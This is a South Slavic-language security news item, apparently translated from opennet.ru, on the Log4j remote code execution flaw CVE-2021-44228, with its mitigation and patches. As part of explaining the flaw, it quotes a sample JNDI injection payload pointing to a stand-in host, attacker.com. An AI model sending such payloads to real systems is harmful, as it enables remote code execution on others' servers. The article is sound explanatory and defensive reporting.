Katastrofalna ranjivost u Apache Log4j koja utiče na mnoge Java projekte

U Apache Log4j, popularnom okviru za organizovanje logovanja u Java aplikacijama, identifikovana je kritična ranjivost koja omogućava izvršavanje proizvoljnog koda kada se posebno formatirana vrednost u formatu “{jndi:URL}” upiše u dnevnik. Napad se može izvesti na Java aplikacije koje bilježe vrijednosti primljene iz vanjskih izvora, na primjer, kada se prikazuju problematične vrijednosti u porukama o grešci.

Napominje se da su skoro svi projekti koji koriste okvire kao što su Apache Struts, Apache Solr, Apache Druid ili Apache Flink pogođeni problemom, uključujući Steam, Apple iCloud, Minecraft klijente i servere. Očekuje se da bi ranjivost mogla dovesti do vala masivnih napada na korporativne aplikacije, ponavljajući istoriju kritičnih ranjivosti u okviru Apache Struts, koji, prema gruboj procjeni, u web aplikacijama koristi 65% Fortune 100 kompanija, uključujući pokušaje skeniranja ranjivih sistema.

Problem se pogoršava činjenicom da je radni exploit već objavljen, ali popravci za stabilne grane još nisu kompajlirani. CVE identifikator još nije dodijeljen. Ispravka je uključena samo u testnu granu log4j-2.15.0-rc1. Kao zaobilazno rješenje za blokiranje ranjivosti, preporučuje se postavljanje parametra log4j2.formatMsgNoLookups na true.

Problem je uzrokovan činjenicom da log4j podržava obradu posebnih maski “{}” u linijama koje izlaze u dnevnik, u kojima se JNDI (Java Naming and Directory Interface) upiti mogu izvršiti. Napad se svodi na prosljeđivanje niza sa zamjenom “${jndi:ldap://attacker.com/a}”, nakon obrade kojeg će log4j poslati LDAP zahtjev za putanju do Java klase serveru attacker.com . Putanja koju vraća napadačev server (na primjer, http://second-stage.attacker.com/Exploit.class) će biti učitana i izvršena u kontekstu trenutnog procesa, što omogućava napadaču da izvrši proizvoljni kod na sistem sa pravima trenutne aplikacije.

Dodatak 1: Ranjivosti je dodijeljen identifikator CVE-2021-44228.

Dodatak 2: Identificiran je način da se zaobiđe zaštita dodana izdanjem log4j-2.15.0-rc1. Predloženo je novo ažuriranje, log4j-2.15.0-rc2, sa potpunijom zaštitom od ranjivosti. Kod naglašava promjenu povezanu s odsustvom abnormalnog završetka u slučaju korištenja pogrešno formatiranog JNDI URL-a.

izvor: opennet.ru

Dodajte komentar